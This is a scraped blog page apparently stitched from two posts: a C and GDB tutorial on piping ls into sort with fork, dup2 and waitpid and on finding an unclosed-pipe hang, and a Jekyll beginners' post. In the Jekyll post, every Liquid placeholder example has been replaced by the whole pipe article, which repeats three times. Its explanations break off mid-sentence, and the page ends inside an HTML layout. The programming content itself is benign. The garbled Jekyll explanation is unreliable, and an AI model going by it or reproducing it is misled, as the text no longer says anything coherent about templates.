    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /bin/sort
    </code></pre></div></div>
    
    <h3 id="the-first-version">The first version</h3>
    
    <p>Our very first version almost works, it</p>
    
    <ol>
      <li>sets up a pipe for later inter-process communication</li>
      <li>forks two processes</li>
      <li>modifies pipe for each process, so that the input/output is correctly redirected</li>
      <li>loads the pre-built programs to the processes</li>
      <li>prints the finish sentence</li>
    </ol>
    
    <p>The C file is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/first.c">here</a>.</p>
    
    <p>Compile and run the program (assuming you have <code class="language-plaintext highlighter-rouge">gcc</code> installed). Notice you may need to modify positions for <code class="language-plaintext highlighter-rouge">ls</code> and <code class="language-plaintext highlighter-rouge">sort</code> programs if the belowing positions do not work.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o first first.c
    ./first /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Here is the output:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Run two programs succeeded!
    README.md                                                                                                                                                                            
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>And this the output of pipe in terminal:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /usr/bin/sort 
    
    README.md
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.</p>
    
    <p>This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.</p>
    
    <p>To fix the problem, let’s move on to second version.</p>
    
    <h3 id="the-second-version">The second version</h3>
    
    <p>At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last <code class="language-plaintext highlighter-rouge">else</code> branch, so that the main program will print the finish sentence after child processes finish.</p>
    
    <p>The second version is at <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/second.c">here</a>. Notice the only difference is two additional lines (105-106).</p>
    
    <p>Compile and run:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o second second.c
    ./second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>We will find the program <strong>never</strong> finishes!</p>
    
    <p>Instead of telling you why the program breaks, we will use GDB to find out the reason together.</p>
    
    <p>Compile the program again with debug information and use GDB to execute the program:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -g -O0 -o second second.c 
    gdb --args second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Before everything, let’s set <code class="language-plaintext highlighter-rouge">detach-on-fork</code> environment variable of GDB to off.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>set detach-on-fork off
    </code></pre></div></div>
    
    <p>By doint this, we could switch between processes easily. More details on this environment at <a href="https://sourceware.org/gdb/onlinedocs/gdb/Forks.html">here</a>.</p>
    
    <p>Now let’s set breakpoint at right before <code class="language-plaintext highlighter-rouge">waitpid</code> system call and run the program</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) br second.c:105
    Breakpoint 1 at 0x400b27: file second.c, line 105.
    (gdb) r
    ...
    Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
    105			waitpid(pid1, NULL, 0);
    </code></pre></div></div>
    
    <p>Now use <code class="language-plaintext highlighter-rouge">next</code> command of GDB to step through the functions.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) n
    106			waitpid(pid2, NULL, 0);
    (gdb) n
    </code></pre></div></div>
    
    <p>This means the first program finishes successfully, but the second one suspends and never returns!</p>
    
    <p>In order to figure out why the second program never returns, let’s run the program again, and use <code class="language-plaintext highlighter-rouge">catch</code>, <code class="language-plaintext highlighter-rouge">inferior</code> commands to go to that child process instead of the parent process.</p>
    
    <p>First, let GDB stops when a <code class="language-plaintext highlighter-rouge">fork</code> system call is called</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) catch fork
    Catchpoint 1 (fork)
    </code></pre></div></div>
    
    <p>Next, go to the fork statement at line 84.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) r
    Starting program: second /bin/ls /usr/bin/sort
    
    Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
    (gdb) c
    Continuing.
    [New process 6134]
    
    Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
    (gdb) finish
    Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    [New process 6147]
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $1 = 6147
    </code></pre></div></div>
    
    <p>Notice we meet two <code class="language-plaintext highlighter-rouge">fork</code> system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.</p>
    
    <p>GDB use the concept of <em>inferior</em> to refer to threads, processes etc. To see currently running processes, just run</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
      2    process 6134      second 
    * 1    process 6127      second
    </code></pre></div></div>
    
    <p>Notice both executable names of child processes are “second”. This means the <code class="language-plaintext highlighter-rouge">/bin/ls</code> and <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code> are not loaded yet. This is because by setting <code class="language-plaintext highlighter-rouge">detach-on-fork</code> off, the newly created processes will be suspended by default.</p>
    
    <p>Let’s switch to first program (inferior 2) and let it finish.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 2
    ...
    (gdb) c
    Continuing.
    process 6134 is executing new program: /bin/ls
    Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
    [Inferior 2 (process 6134) exited normally]
    </code></pre></div></div>
    
    <p>Now only two inferiors are left.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
    * 2    &lt;null&gt;            /bin/ls           
      1    process 6127      second 
    </code></pre></div></div>
    
    <p>The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 3
    ...
    (gdb) finish
    Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $2 = 0
    (gdb) n
    88		    	if (-1 == close(pipefd[1])) {
    (gdb) n
    94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
    (gdb) n
    98		    	run(program2);
    (gdb) n
    
    </code></pre></div></div>
    
    <p>The program seems stuck when executing <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code>. A guess is input file is never closed. Let’s check.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
    81	in ../sysdeps/unix/syscall-template.S
    (gdb) shell ls -l /proc/6147/fd
    total 0
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -&gt; pipe:[91298]
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!</p>
    
    <p>Just to make sure our guess is correct, let’s examine open file descriptors in parent process.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 1
    [Switching to inferior 1 [process 6127] (second)]
    [Switching to thread 1 (process 6127)] 
    #0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    (gdb) c
    Continuing.
    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
    31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
    (gdb) shell ls -l /proc/6127/fd
    total 0
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -&gt; pipe:[91298]
    l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>And we know the pipe is indeed not closed in parent process. This leads us to third version.</p>
    
    <h3 id="the-third-version">The third version</h3>
    
    <p>In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.</p>
    
    <p>The third version is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/third.c">here</a>.</p>
    
    <p>Now let’s test the program again.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o third third.c 
    ./third /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>And here is the result on my machine,</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>README.md
    first.c
    second.c
    third
    third.c
    Run two programs succeeded!
    </code></pre></div></div>
    
    <p>which is the same as the result of terminal.</p>
    
    <h3 id="conclusion">Conclusion</h3>
    
    <p>In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.</p>
    
    <p>We learnt</p>
    
    <ul>
      <li>C and Unix skills
        <ul>
          <li>pipe</li>
          <li>fork</li>
          <li>waitpid</li>
          <li>dup</li>
        </ul>
      </li>
      <li>GDB skills
        <ul>
          <li>catch</li>
          <li>inferior</li>
        </ul>
      </li>
    </ul>
    
    
                    <hr>
    
                    <ul class="pager">
                        
                        <li class="previous">
                            <a href="/2016/04/20/concurrency-vs-parallelism/" data-toggle="tooltip" data-placement="top" title="Concurrency vs. Parallelism">&larr; Previous Post</a>
                        </li>
                        
                        
                        <li class="next">
                            <a href="/2017/02/10/blog-with-Jekyll-for-beginner/" data-toggle="tooltip" data-placement="top" title="Blog with Jekyll for beginners">Next Post &rarr;</a>
                        </li>
                        
                    </ul>
    
                    
                    <!-- disqus 评论框 start -->
                    <div class="comment">
                        <div id="disqus_thread" class="disqus-thread"></div>
                    </div>
                    <!-- disqus 评论框 end -->
                    
    
                </div>
    
        <!-- Sidebar Container -->
        <!--
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    sidebar-container" id="toc">
                </div>
        -->
            </div>
        </div>
    </article>
    
    
    <!-- disqus 公共JS代码 start (一个网页只需插入一次) -->
    <script type="text/javascript">
        /* * * CONFIGURATION VARIABLES * * */
        var disqus_shortname = "pufan-jiangs-blog";
        var disqus_identifier = "/2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB";
        var disqus_url = "http://otnt.github.io//2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB/";
    
        (function() {
            var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;
            dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';
            (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
        })();
    </script>
    <!-- disqus 公共JS代码 end -->
    
    
    	</article>
    </div>
    

    Now, stop reading and check out Liquid for designers to get a basic understanding of these curly brackets.

    If you did read the article, you should understand

    • `````` is nothing but a placeholder, Liquid will later replace variable foo with its actual value. For example, ```

    Inter-process communication using pipe and multiprocess debugging using GDB

    Posted on February 3, 2017 Updated on February 3, 2017

    In this article, we’ll walk through a simple example showing

    • how to use unix pipe for inter-process communication
    • how to debug a program of three processes using GDB


    Pre-requists

    • experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video Unix intro)
    • experience using GDB, know how to set breakpoints (checkout GDB tutorial)
    • c language readability (espicially fork, exec)
    • understand I/O redirect (checkout man dup)

    The problem

    The problem is to

    1. load two pre-built programs
    2. stream the output of the first program to the second one
    3. print the result of the second program
    4. print a finish sentence when both programs finish

    For example, we want to mimic the action of such bash command:

    /bin/ls | /bin/sort
    

    The first version

    Our very first version almost works, it

    1. sets up a pipe for later inter-process communication
    2. forks two processes
    3. modifies pipe for each process, so that the input/output is correctly redirected
    4. loads the pre-built programs to the processes
    5. prints the finish sentence

    The C file is here.

    Compile and run the program (assuming you have gcc installed). Notice you may need to modify positions for ls and sort programs if the belowing positions do not work.

    gcc -o first first.c
    ./first /bin/ls /usr/bin/sort
    

    Here is the output:

    Run two programs succeeded!
    README.md                                                                                                                                                                            
    a.out
    first
    first.c
    

    And this the output of pipe in terminal:

    /bin/ls | /usr/bin/sort 
    
    README.md
    a.out
    first
    first.c
    

    We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.

    This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.

    To fix the problem, let’s move on to second version.

    The second version

    At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last else branch, so that the main program will print the finish sentence after child processes finish.

    The second version is at here. Notice the only difference is two additional lines (105-106).

    Compile and run:

    gcc -o second second.c
    ./second /bin/ls /usr/bin/sort
    

    We will find the program never finishes!

    Instead of telling you why the program breaks, we will use GDB to find out the reason together.

    Compile the program again with debug information and use GDB to execute the program:

    gcc -g -O0 -o second second.c 
    gdb --args second /bin/ls /usr/bin/sort
    

    Before everything, let’s set detach-on-fork environment variable of GDB to off.

    set detach-on-fork off
    

    By doint this, we could switch between processes easily. More details on this environment at here.

    Now let’s set breakpoint at right before waitpid system call and run the program

    (gdb) br second.c:105
    Breakpoint 1 at 0x400b27: file second.c, line 105.
    (gdb) r
    ...
    Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
    105			waitpid(pid1, NULL, 0);
    

    Now use next command of GDB to step through the functions.

    (gdb) n
    106			waitpid(pid2, NULL, 0);
    (gdb) n
    

    This means the first program finishes successfully, but the second one suspends and never returns!

    In order to figure out why the second program never returns, let’s run the program again, and use catch, inferior commands to go to that child process instead of the parent process.

    First, let GDB stops when a fork system call is called

    (gdb) catch fork
    Catchpoint 1 (fork)
    

    Next, go to the fork statement at line 84.

    (gdb) r
    Starting program: second /bin/ls /usr/bin/sort
    
    Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
    (gdb) c
    Continuing.
    [New process 6134]
    
    Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
    (gdb) finish
    Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    [New process 6147]
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $1 = 6147
    

    Notice we meet two fork system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.

    GDB use the concept of inferior to refer to threads, processes etc. To see currently running processes, just run

    (gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
      2    process 6134      second 
    * 1    process 6127      second
    

    Notice both executable names of child processes are “second”. This means the /bin/ls and /usr/bin/sort are not loaded yet. This is because by setting detach-on-fork off, the newly created processes will be suspended by default.

    Let’s switch to first program (inferior 2) and let it finish.

    (gdb) inferior 2
    ...
    (gdb) c
    Continuing.
    process 6134 is executing new program: /bin/ls
    Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
    [Inferior 2 (process 6134) exited normally]
    

    Now only two inferiors are left.

    (gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
    * 2    <null>            /bin/ls           
      1    process 6127      second 
    

    The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.

    (gdb) inferior 3
    ...
    (gdb) finish
    Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $2 = 0
    (gdb) n
    88		    	if (-1 == close(pipefd[1])) {
    (gdb) n
    94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
    (gdb) n
    98		    	run(program2);
    (gdb) n
    
    

    The program seems stuck when executing /usr/bin/sort. A guess is input file is never closed. Let’s check.

    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
    81	in ../sysdeps/unix/syscall-template.S
    (gdb) shell ls -l /proc/6147/fd
    total 0
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -> pipe:[91298]
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -> /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -> pipe:[91298]
    

    Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!

    Just to make sure our guess is correct, let’s examine open file descriptors in parent process.

    (gdb) inferior 1
    [Switching to inferior 1 [process 6127] (second)]
    [Switching to thread 1 (process 6127)] 
    #0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    (gdb) c
    Continuing.
    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
    31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
    (gdb) shell ls -l /proc/6127/fd
    total 0
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -> /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -> pipe:[91298]
    l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -> pipe:[91298]
    

    And we know the pipe is indeed not closed in parent process. This leads us to third version.

    The third version

    In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.

    The third version is here.

    Now let’s test the program again.

    gcc -o third third.c 
    ./third /bin/ls /usr/bin/sort
    

    And here is the result on my machine,

    README.md
    first.c
    second.c
    third
    third.c
    Run two programs succeeded!
    

    which is the same as the result of terminal.

    Conclusion

    In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.

    We learnt

    • C and Unix skills
      • pipe
      • fork
      • waitpid
      • dup
    • GDB skills
      • catch
      • inferior

    ``` is a variable created by Jekyll, whose value is the actual blog content you composed.

    • In``````, the | is just like Unix pipe supporting casacading operations.
    • In ``````, the : v1, v2 is the input arguments for filter bar.

    Now you may have two questions:

    • The HTML file is incomplete, for example <!DOCTYPE html> etc. are missing,
    • The first three lines of post.html is mistery,

    so let’s move on.

    The complete layout

    At this point, you may be wondering what the heck is that on top of the file:

    ---
    layout: default
    ---
    

    Jekyll use YAML to manage meta data of your web pages. This layout: default tells Jekyll to search for default.html in directory _layout, and then **replace the placeholder ```

    Inter-process communication using pipe and multiprocess debugging using GDB

    Posted on February 3, 2017 Updated on February 3, 2017

    In this article, we’ll walk through a simple example showing

    • how to use unix pipe for inter-process communication
    • how to debug a program of three processes using GDB


    Pre-requists

    • experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video Unix intro)
    • experience using GDB, know how to set breakpoints (checkout GDB tutorial)
    • c language readability (espicially fork, exec)
    • understand I/O redirect (checkout man dup)

    The problem

    The problem is to

    1. load two pre-built programs
    2. stream the output of the first program to the second one
    3. print the result of the second program
    4. print a finish sentence when both programs finish

    For example, we want to mimic the action of such bash command:

    /bin/ls | /bin/sort
    

    The first version

    Our very first version almost works, it

    1. sets up a pipe for later inter-process communication
    2. forks two processes
    3. modifies pipe for each process, so that the input/output is correctly redirected
    4. loads the pre-built programs to the processes
    5. prints the finish sentence

    The C file is here.

    Compile and run the program (assuming you have gcc installed). Notice you may need to modify positions for ls and sort programs if the belowing positions do not work.

    gcc -o first first.c
    ./first /bin/ls /usr/bin/sort
    

    Here is the output:

    Run two programs succeeded!
    README.md                                                                                                                                                                            
    a.out
    first
    first.c
    

    And this the output of pipe in terminal:

    /bin/ls | /usr/bin/sort 
    
    README.md
    a.out
    first
    first.c
    

    We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.

    This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.

    To fix the problem, let’s move on to second version.

    The second version

    At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last else branch, so that the main program will print the finish sentence after child processes finish.

    The second version is at here. Notice the only difference is two additional lines (105-106).

    Compile and run:

    gcc -o second second.c
    ./second /bin/ls /usr/bin/sort
    

    We will find the program never finishes!

    Instead of telling you why the program breaks, we will use GDB to find out the reason together.

    Compile the program again with debug information and use GDB to execute the program:

    gcc -g -O0 -o second second.c 
    gdb --args second /bin/ls /usr/bin/sort
    

    Before everything, let’s set detach-on-fork environment variable of GDB to off.

    set detach-on-fork off
    

    By doint this, we could switch between processes easily. More details on this environment at here.

    Now let’s set breakpoint at right before waitpid system call and run the program

    (gdb) br second.c:105
    Breakpoint 1 at 0x400b27: file second.c, line 105.
    (gdb) r
    ...
    Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
    105			waitpid(pid1, NULL, 0);
    

    Now use next command of GDB to step through the functions.

    (gdb) n
    106			waitpid(pid2, NULL, 0);
    (gdb) n
    

    This means the first program finishes successfully, but the second one suspends and never returns!

    In order to figure out why the second program never returns, let’s run the program again, and use catch, inferior commands to go to that child process instead of the parent process.

    First, let GDB stops when a fork system call is called

    (gdb) catch fork
    Catchpoint 1 (fork)
    

    Next, go to the fork statement at line 84.

    (gdb) r
    Starting program: second /bin/ls /usr/bin/sort
    
    Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
    (gdb) c
    Continuing.
    [New process 6134]
    
    Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
    (gdb) finish
    Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    [New process 6147]
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $1 = 6147
    

    Notice we meet two fork system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.

    GDB use the concept of inferior to refer to threads, processes etc. To see currently running processes, just run

    (gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
      2    process 6134      second 
    * 1    process 6127      second
    

    Notice both executable names of child processes are “second”. This means the /bin/ls and /usr/bin/sort are not loaded yet. This is because by setting detach-on-fork off, the newly created processes will be suspended by default.

    Let’s switch to first program (inferior 2) and let it finish.

    (gdb) inferior 2
    ...
    (gdb) c
    Continuing.
    process 6134 is executing new program: /bin/ls
    Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
    [Inferior 2 (process 6134) exited normally]
    

    Now only two inferiors are left.

    (gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
    * 2    <null>            /bin/ls           
      1    process 6127      second 
    

    The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.

    (gdb) inferior 3
    ...
    (gdb) finish
    Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $2 = 0
    (gdb) n
    88		    	if (-1 == close(pipefd[1])) {
    (gdb) n
    94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
    (gdb) n
    98		    	run(program2);
    (gdb) n
    
    

    The program seems stuck when executing /usr/bin/sort. A guess is input file is never closed. Let’s check.

    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
    81	in ../sysdeps/unix/syscall-template.S
    (gdb) shell ls -l /proc/6147/fd
    total 0
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -> pipe:[91298]
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -> /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -> pipe:[91298]
    

    Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!

    Just to make sure our guess is correct, let’s examine open file descriptors in parent process.

    (gdb) inferior 1
    [Switching to inferior 1 [process 6127] (second)]
    [Switching to thread 1 (process 6127)] 
    #0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    (gdb) c
    Continuing.
    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
    31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
    (gdb) shell ls -l /proc/6127/fd
    total 0
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -> /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -> /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -> pipe:[91298]
    l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -> pipe:[91298]
    

    And we know the pipe is indeed not closed in parent process. This leads us to third version.

    The third version

    In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.

    The third version is here.

    Now let’s test the program again.

    gcc -o third third.c 
    ./third /bin/ls /usr/bin/sort
    

    And here is the result on my machine,

    README.md
    first.c
    second.c
    third
    third.c
    Run two programs succeeded!
    

    which is the same as the result of terminal.

    Conclusion

    In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.

    We learnt

    • C and Unix skills
      • pipe
      • fork
      • waitpid
      • dup
    • GDB skills
      • catch
      • inferior

    indefault.htmlwith the whole content of this file(post.html```)**. By doing this, Jekyll enable us to define layout in a hierarchical way.

    Now let’s create file _layout/default.html with following content:

    <!DOCTYPE html>
    <html>
    	<head>
        <meta charset="utf-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="google-site-verification" content="_PHrOvQDUqLMAglWM9iHO4lKA58bCnzrXyGN827Naak" />
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <meta name="description" content="Pufan Jiang's personal blog.">
        <meta name="keyword"  content="tech | software">
        <link rel="shortcut icon" href="img/favicon.ico">
    
        <title>Blog with Jekyll for beginners - Pufan Jiang | 江浦饭</title>
    
        <link rel="canonical" href="http://otnt.github.io//2017/02/10/blog-with-Jekyll-for-beginner/">
    
        <!-- Bootstrap Core CSS -->
        <link rel="stylesheet" href="/css/bootstrap.min.css">
    
        <!-- Custom CSS -->
        <!--<link rel="stylesheet" href="/css/hux-blog.min.css">-->
        <link rel="stylesheet" href="/css/pufanjiang-blog.css">
    
        <!-- Pygments Github CSS -->
        <link rel="stylesheet" href="/css/syntax.css">
    
        <!-- Custom Fonts -->
        <!-- <link href="http://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css" rel="stylesheet" type="text/css"> -->
        <!-- Hux change font-awesome CDN to qiniu -->
        <link href="http://cdn.staticfile.org/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet" type="text/css">
    </head>
    
    	<body>
    		<!-- Post Header -->
    <header class="intro-header" >
        <div class="container">
            <div class="row">
